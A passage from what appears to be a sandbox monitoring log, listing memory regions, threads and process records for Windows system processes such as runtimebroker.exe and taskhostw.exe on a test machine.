0x7ffe5e0931a0 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" (normalized: "c:\\windows\\system32\\imagehlp.dll") Region: id = 7735 start_va = 0x7f60000 end_va = 0x7f6afff monitored = 0 entry_point = 0x7f62e60 region_type = mapped_file name = "locationnotificationwindows.exe" filename = "\\Windows\\System32\\LocationNotificationWindows.exe" (normalized: "c:\\windows\\system32\\locationnotificationwindows.exe") Region: id = 7876 start_va = 0xa830000 end_va = 0xad24fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a830000" filename = "" Region: id = 7877 start_va = 0xad30000 end_va = 0xb12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ad30000" filename = "" Region: id = 7878 start_va = 0xb130000 end_va = 0xb31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b130000" filename = "" Region: id = 7879 start_va = 0xb320000 end_va = 0xb706fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b320000" filename = "" Region: id = 7880 start_va = 0xb710000 end_va = 0xb927fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b710000" filename = "" Region: id = 7958 start_va = 0x7010000 end_va = 0x701ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007010000" filename = "" Region: id = 7964 start_va = 0x7ffe55370000 end_va = 0x7ffe5538afff monitored = 0 entry_point = 0x7ffe55371040 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 7965 start_va = 0x7010000 end_va = 0x7010fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mpr.dll.mui" filename = "\\Windows\\System32\\en-US\\mpr.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mpr.dll.mui") Region: id = 7966 start_va = 0x7ffe55360000 end_va = 0x7ffe5536afff monitored = 0 entry_point = 0x7ffe55361a40 region_type = mapped_file name = "drprov.dll" filename = "\\Windows\\System32\\drprov.dll" (normalized: "c:\\windows\\system32\\drprov.dll") Region: id = 7967 start_va = 0x7ffe55340000 end_va = 0x7ffe55355fff monitored = 0 entry_point = 0x7ffe55343380 region_type = mapped_file name = "ntlanman.dll" filename = "\\Windows\\System32\\ntlanman.dll" (normalized: "c:\\windows\\system32\\ntlanman.dll") Region: id = 7968 start_va = 0x7ffe55320000 end_va = 0x7ffe5533ffff monitored = 0 entry_point = 0x7ffe55321920 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\System32\\davclnt.dll" (normalized: "c:\\windows\\system32\\davclnt.dll") Region: id = 7969 start_va = 0x7ffe55310000 end_va = 0x7ffe5531bfff monitored = 0 entry_point = 0x7ffe55311860 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\System32\\davhlpr.dll" (normalized: "c:\\windows\\system32\\davhlpr.dll") Region: id = 7971 start_va = 0x7020000 end_va = 0x702ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007020000" filename = "" Region: id = 7972 start_va = 0x7020000 end_va = 0x702ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007020000" filename = "" Region: id = 7973 start_va = 0x7020000 end_va = 0x702ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007020000" filename = "" Region: id = 8008 start_va = 0xa830000 end_va = 0xa8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a830000" filename = "" Region: id = 8010 start_va = 0x7020000 end_va = 0x702ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007020000" filename = "" Region: id = 8011 start_va = 0x7c60000 end_va = 0x7e75fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cachedimage_1440_900_pos4.jpg" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\windows\\themes\\cachedfiles\\cachedimage_1440_900_pos4.jpg") Region: id = 8012 start_va = 0x7c60000 end_va = 0x7e80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c60000" filename = "" Region: id = 8013 start_va = 0x83f0000 end_va = 0x88e1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000083f0000" filename = "" Region: id = 8016 start_va = 0x7020000 end_va = 0x702ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007020000" filename = "" Region: id = 8017 start_va = 0x7020000 end_va = 0x702ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007020000" filename = "" Region: id = 8020 start_va = 0x7ffe52800000 end_va = 0x7ffe52aa2fff monitored = 0 entry_point = 0x7ffe52826190 region_type = mapped_file name = "windows.staterepository.dll" filename = "\\Windows\\System32\\Windows.StateRepository.dll" (normalized: "c:\\windows\\system32\\windows.staterepository.dll") Region: id = 8021 start_va = 0x7ffe52760000 end_va = 0x7ffe527f3fff monitored = 0 entry_point = 0x7ffe52799210 region_type = mapped_file name = "staterepository.core.dll" filename = "\\Windows\\System32\\StateRepository.Core.dll" (normalized: "c:\\windows\\system32\\staterepository.core.dll") Region: id = 8022 start_va = 0x7ffe596b0000 end_va = 0x7ffe5972afff monitored = 0 entry_point = 0x7ffe596b3af0 region_type = mapped_file name = "prnfldr.dll" filename = "\\Windows\\System32\\prnfldr.dll" (normalized: "c:\\windows\\system32\\prnfldr.dll") Region: id = 8023 start_va = 0x7020000 end_va = 0x7021fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007020000" filename = "" Region: id = 8031 start_va = 0x7030000 end_va = 0x703ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007030000" filename = "" Thread: id = 466 os_tid = 0x674 Thread: id = 467 os_tid = 0x660 Thread: id = 468 os_tid = 0x650 Thread: id = 469 os_tid = 0x64c Thread: id = 470 os_tid = 0x648 Thread: id = 471 os_tid = 0x644 Thread: id = 472 os_tid = 0x638 Thread: id = 473 os_tid = 0x63c Thread: id = 474 os_tid = 0x634 Thread: id = 475 os_tid = 0x630 Thread: id = 476 os_tid = 0x62c Thread: id = 477 os_tid = 0x628 Thread: id = 478 os_tid = 0x624 Thread: id = 479 os_tid = 0x61c Thread: id = 480 os_tid = 0x618 Thread: id = 487 os_tid = 0x694 Thread: id = 488 os_tid = 0x698 Thread: id = 489 os_tid = 0x69c Thread: id = 490 os_tid = 0x6a0 Thread: id = 491 os_tid = 0x6a8 Thread: id = 492 os_tid = 0x6ac Thread: id = 493 os_tid = 0x6b0 Thread: id = 494 os_tid = 0x6b4 Thread: id = 495 os_tid = 0x6b8 Thread: id = 497 os_tid = 0x6c0 Thread: id = 498 os_tid = 0x6c4 Thread: id = 499 os_tid = 0x6cc Thread: id = 500 os_tid = 0x6d0 Thread: id = 501 os_tid = 0x6d4 Thread: id = 504 os_tid = 0x6ec Thread: id = 505 os_tid = 0x6f4 Thread: id = 506 os_tid = 0x6fc Thread: id = 507 os_tid = 0x700 Thread: id = 508 os_tid = 0x704 Thread: id = 510 os_tid = 0x71c Thread: id = 511 os_tid = 0x720 Thread: id = 512 os_tid = 0x724 Thread: id = 513 os_tid = 0x72c Thread: id = 514 os_tid = 0x730 Thread: id = 515 os_tid = 0x734 Thread: id = 516 os_tid = 0x738 Thread: id = 517 os_tid = 0x73c Thread: id = 518 os_tid = 0x740 Thread: id = 519 os_tid = 0x744 Thread: id = 523 os_tid = 0x760 Thread: id = 524 os_tid = 0x774 Thread: id = 526 os_tid = 0x77c Thread: id = 529 os_tid = 0x794 Thread: id = 533 os_tid = 0x7a4 Thread: id = 535 os_tid = 0x7b8 Thread: id = 536 os_tid = 0x7bc Thread: id = 537 os_tid = 0x7c0 Thread: id = 538 os_tid = 0x7c4 Thread: id = 539 os_tid = 0x7c8 Thread: id = 540 os_tid = 0x7d0 Thread: id = 542 os_tid = 0x7dc Thread: id = 543 os_tid = 0x7e0 Thread: id = 544 os_tid = 0x7f0 Thread: id = 568 os_tid = 0x41c Thread: id = 596 os_tid = 0x5c8 Thread: id = 597 os_tid = 0x620 Process: id = "88" image_name = "runtimebroker.exe" filename = "c:\\windows\\system32\\runtimebroker.exe" page_root = "0x30855000" os_pid = "0x658" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "87" os_parent_pid = "0x270" cmd_line = "C:\\Windows\\System32\\RuntimeBroker.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f469" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7169 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7170 start_va = 0xe8d2230000 end_va = 0xe8d22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e8d2230000" filename = "" Region: id = 7171 start_va = 0xe8d22b0000 end_va = 0xe8d232ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e8d22b0000" filename = "" Region: id = 7172 start_va = 0xe8d2330000 end_va = 0xe8d23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e8d2330000" filename = "" Region: id = 7173 start_va = 0xe8d2400000 end_va = 0xe8d25fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e8d2400000" filename = "" Region: id = 7174 start_va = 0xe8d2600000 end_va = 0xe8d267ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e8d2600000" filename = "" Region: id = 7175 start_va = 0xe8d2680000 end_va = 0xe8d26fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e8d2680000" filename = "" Region: id = 7176 start_va = 0xe8d2700000 end_va = 0xe8d277ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e8d2700000" filename = "" Region: id = 7177 start_va = 0x25554730000 end_va = 0x2555473ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025554730000" filename = "" Region: id = 7178 start_va = 0x25554740000 end_va = 0x25554740fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025554740000" filename = "" Region: id = 7179 start_va = 0x25554750000 end_va = 0x25554764fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025554750000" filename = "" Region: id = 7180 start_va = 0x25554770000 end_va = 0x25554773fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025554770000" filename = "" Region: id = 7181 start_va = 0x25554780000 end_va = 0x25554781fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025554780000" filename = "" Region: id = 7182 start_va = 0x25554790000 end_va = 0x25554791fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025554790000" filename = "" Region: id = 7183 start_va = 0x255547a0000 end_va = 0x255547a6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000255547a0000" filename = "" Region: id = 7184 start_va = 0x255547b0000 end_va = 0x255547b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000255547b0000" filename = "" Region: id = 7185 start_va = 0x255547c0000 end_va = 0x255547c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000255547c0000" filename = "" Region: id = 7186 start_va = 0x25554800000 end_va = 0x255548fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025554800000" filename = "" Region: id = 7187 start_va = 0x25554900000 end_va = 0x255549bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7188 start_va = 0x255549c0000 end_va = 0x25554b47fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000255549c0000" filename = "" Region: id = 7189 start_va = 0x25554b50000 end_va = 0x25554b56fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025554b50000" filename = "" Region: id = 7190 start_va = 0x25554c00000 end_va = 0x25554cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025554c00000" filename = "" Region: id = 7191 start_va = 0x25554d00000 end_va = 0x25554e80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025554d00000" filename = "" Region: id = 7192 start_va = 0x25554e90000 end_va = 0x2555628ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025554e90000" filename = "" Region: id = 7193 start_va = 0x7df5ff370000 end_va = 0x7ff5ff36ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff370000" filename = "" Region: id = 7194 start_va = 0x7ff659060000 end_va = 0x7ff65915ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff659060000" filename = "" Region: id = 7195 start_va = 0x7ff659160000 end_va = 0x7ff659182fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff659160000" filename = "" Region: id = 7196 start_va = 0x7ff659790000 end_va = 0x7ff6597a6fff monitored = 0 entry_point = 0x7ff6597944f0 region_type = mapped_file name = "runtimebroker.exe" filename = "\\Windows\\System32\\RuntimeBroker.exe" (normalized: "c:\\windows\\system32\\runtimebroker.exe") Region: id = 7197 start_va = 0x7ffe5cf00000 end_va = 0x7ffe5cf0efff monitored = 0 entry_point = 0x7ffe5cf03210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 7198 start_va = 0x7ffe5cf30000 end_va = 0x7ffe5cf7afff monitored = 0 entry_point = 0x7ffe5cf335f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 7199 start_va = 0x7ffe5d730000 end_va = 0x7ffe5d917fff monitored = 0 entry_point = 0x7ffe5d75ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7200 start_va = 0x7ffe5db50000 end_va = 0x7ffe5dbb9fff monitored = 0 entry_point = 0x7ffe5db86d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 7201 start_va = 0x7ffe5ddc0000 end_va = 0x7ffe5de5cfff monitored = 0 entry_point = 0x7ffe5ddc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7202 start_va = 0x7ffe5de60000 end_va = 0x7ffe5df7bfff monitored = 0 entry_point = 0x7ffe5dea02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7203 start_va = 0x7ffe5e0b0000 end_va = 0x7ffe5e0eafff monitored = 0 entry_point = 0x7ffe5e0b12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7204 start_va = 0x7ffe5f760000 end_va = 0x7ffe5f806fff monitored = 0 entry_point = 0x7ffe5f76b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 7205 start_va = 0x7ffe5f810000 end_va = 0x7ffe5fa8cfff monitored = 0 entry_point = 0x7ffe5f8e4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 7206 start_va = 0x7ffe60240000 end_va = 0x7ffe602ecfff monitored = 0 entry_point = 0x7ffe602581a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7207 start_va = 0x7ffe602f0000 end_va = 0x7ffe60445fff monitored = 0 entry_point = 0x7ffe602fa8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7208 start_va = 0x7ffe604b0000 end_va = 0x7ffe60635fff monitored = 0 entry_point = 0x7ffe604fffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7209 start_va = 0x7ffe606b0000 end_va = 0x7ffe607f2fff monitored = 0 entry_point = 0x7ffe606d8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 7210 start_va = 0x7ffe60870000 end_va = 0x7ffe608cafff monitored = 0 entry_point = 0x7ffe608838b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7211 start_va = 0x7ffe608d0000 end_va = 0x7ffe60a90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7216 start_va = 0x7ffe54710000 end_va = 0x7ffe547ddfff monitored = 0 entry_point = 0x7ffe547414c0 region_type = mapped_file name = "tokenbroker.dll" filename = "\\Windows\\System32\\TokenBroker.dll" (normalized: "c:\\windows\\system32\\tokenbroker.dll") Region: id = 7217 start_va = 0x7ffe5dcf0000 end_va = 0x7ffe5ddb0fff monitored = 0 entry_point = 0x7ffe5dd10da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 7218 start_va = 0x7ffe5dbc0000 end_va = 0x7ffe5dc74fff monitored = 0 entry_point = 0x7ffe5dc022e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 7219 start_va = 0x7ffe5cd80000 end_va = 0x7ffe5cda8fff monitored = 0 entry_point = 0x7ffe5cd94530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 7220 start_va = 0x7ffe58300000 end_va = 0x7ffe58435fff monitored = 0 entry_point = 0x7ffe5832f350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 7221 start_va = 0x7ffe5af90000 end_va = 0x7ffe5b422fff monitored = 0 entry_point = 0x7ffe5af9f760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 7231 start_va = 0x7ffe5b6e0000 end_va = 0x7ffe5b6f2fff monitored = 0 entry_point = 0x7ffe5b6e2760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 7232 start_va = 0x255547d0000 end_va = 0x255547d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000255547d0000" filename = "" Region: id = 7233 start_va = 0x7ffe56230000 end_va = 0x7ffe56257fff monitored = 0 entry_point = 0x7ffe56238c10 region_type = mapped_file name = "idstore.dll" filename = "\\Windows\\System32\\IDStore.dll" (normalized: "c:\\windows\\system32\\idstore.dll") Region: id = 7234 start_va = 0x7ffe5f650000 end_va = 0x7ffe5f6f6fff monitored = 0 entry_point = 0x7ffe5f6658d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7235 start_va = 0x7ffe5b680000 end_va = 0x7ffe5b69bfff monitored = 0 entry_point = 0x7ffe5b6837a0 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 7236 start_va = 0x25554b60000 end_va = 0x25554b8dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025554b60000" filename = "" Region: id = 7960 start_va = 0x7ffe57db0000 end_va = 0x7ffe57f6cfff monitored = 0 entry_point = 0x7ffe57ddaf90 region_type = mapped_file name = "windows.ui.immersive.dll" filename = "\\Windows\\System32\\Windows.UI.Immersive.dll" (normalized: "c:\\windows\\system32\\windows.ui.immersive.dll") Region: id = 7961 start_va = 0x255547e0000 end_va = 0x255547e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000255547e0000" filename = "" Region: id = 7970 start_va = 0x7ffe5ba10000 end_va = 0x7ffe5bb0ffff monitored = 0 entry_point = 0x7ffe5ba50f80 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Thread: id = 481 os_tid = 0x690 Thread: id = 482 os_tid = 0x68c Thread: id = 483 os_tid = 0x688 Thread: id = 484 os_tid = 0x66c Thread: id = 485 os_tid = 0x668 Thread: id = 486 os_tid = 0x65c Process: id = "89" image_name = "taskhostw.exe" filename = "c:\\windows\\system32\\taskhostw.exe" page_root = "0x26f85000" os_pid = "0x748" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "82" os_parent_pid = "0x360" cmd_line = "taskhostw.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f469" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7325 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7326 start_va = 0xb809830000 end_va = 0xb8098affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000b809830000" filename = "" Region: id = 7327 start_va = 0xb809a00000 end_va = 0xb809bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000b809a00000" filename = "" Region: id = 7328 start_va = 0x25902440000 end_va = 0x2590245ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025902440000" filename = "" Region: id = 7329 start_va = 0x25902460000 end_va = 0x25902474fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025902460000" filename = "" Region: id = 7330 start_va = 0x25902480000 end_va = 0x25902483fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025902480000" filename = "" Region: id = 7331 start_va = 0x25902490000 end_va = 0x25902490fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025902490000" filename = "" Region: id = 7332 start_va = 0x259024a0000 end_va = 0x259024a1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000259024a0000" filename = "" Region: id = 7333 start_va = 0x7df5ff400000 end_va = 0x7ff5ff3fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff400000" filename = "" Region: id = 7334 start_va = 0x7ff6677a0000 end_va = 0x7ff6677c2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6677a0000" filename = "" Region: id = 7335 start_va = 0x7ff668530000 end_va = 0x7ff668548fff monitored = 0 entry_point = 0x7ff6685359b0 region_type = mapped_file name = "taskhostw.exe" filename = "\\Windows\\System32\\taskhostw.exe" (normalized: "c:\\windows\\system32\\taskhostw.exe") Region: id = 7336 start_va = 0x7ffe608d0000 end_va = 0x7ffe60a90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7337 start_va = 0x259024b0000 end_va = 0x2590266ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000259024b0000" filename = "" Region: id = 7338 start_va = 0x7ffe60240000 end_va = 0x7ffe602ecfff monitored = 0 entry_point = 0x7ffe602581a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7339 start_va = 0x7ffe5d730000 end_va = 0x7ffe5d917fff monitored = 0 entry_point = 0x7ffe5d75ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7340 start_va = 0x25902440000 end_va = 0x2590244ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025902440000" filename = "" Region: id = 7341 start_va = 0x7ff6676a0000 end_va = 0x7ff66779ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6676a0000" filename = "" Region: id = 7342 start_va = 0x259024b0000 end_va = 0x2590256dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7343 start_va = 0x25902570000 end_va = 0x2590266ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025902570000" filename = "" Region: id = 7344 start_va = 0x7ffe5ddc0000 end_va = 0x7ffe5de5cfff monitored = 0 entry_point = 0x7ffe5ddc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7345 start_va = 0xb8098b0000 end_va = 0xb80992ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000b8098b0000" filename = "" Region: id = 7346 start_va = 0x7ffe5de60000 end_va = 0x7ffe5df7bfff monitored = 0 entry_point = 0x7ffe5dea02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7362 start_va = 0x7ffe5f810000 end_va = 0x7ffe5fa8cfff monitored = 0 entry_point = 0x7ffe5f8e4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 7363 start_va = 0x7ffe5db50000 end_va = 0x7ffe5dbb9fff monitored = 0 entry_point = 0x7ffe5db86d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 7364 start_va = 0x7ffe5dcf0000 end_va = 0x7ffe5ddb0fff monitored = 0 entry_point = 0x7ffe5dd10da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 7365 start_va = 0x25902670000 end_va = 0x2590283ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025902670000" filename = "" Region: id = 7366 start_va = 0x25902450000 end_va = 0x25902456fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025902450000" filename = "" Region: id = 7367 start_va = 0x25902670000 end_va = 0x259027b2fff monitored = 0 entry_point = 0x25902698210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 7368 start_va = 0x25902830000 end_va = 0x2590283ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025902830000" filename = "" Region: id = 7369 start_va = 0x25902670000 end_va = 0x2590274cfff monitored = 0 entry_point = 0x259026ce0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 7370 start_va = 0x7ffe5cf00000 end_va = 0x7ffe5cf0efff monitored = 0 entry_point = 0x7ffe5cf03210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 7372 start_va = 0x25902670000 end_va = 0x25902676fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025902670000" filename = "" Region: id = 7389 start_va = 0x7ffe60870000 end_va = 0x7ffe608cafff monitored = 0 entry_point = 0x7ffe608838b0 region_type = 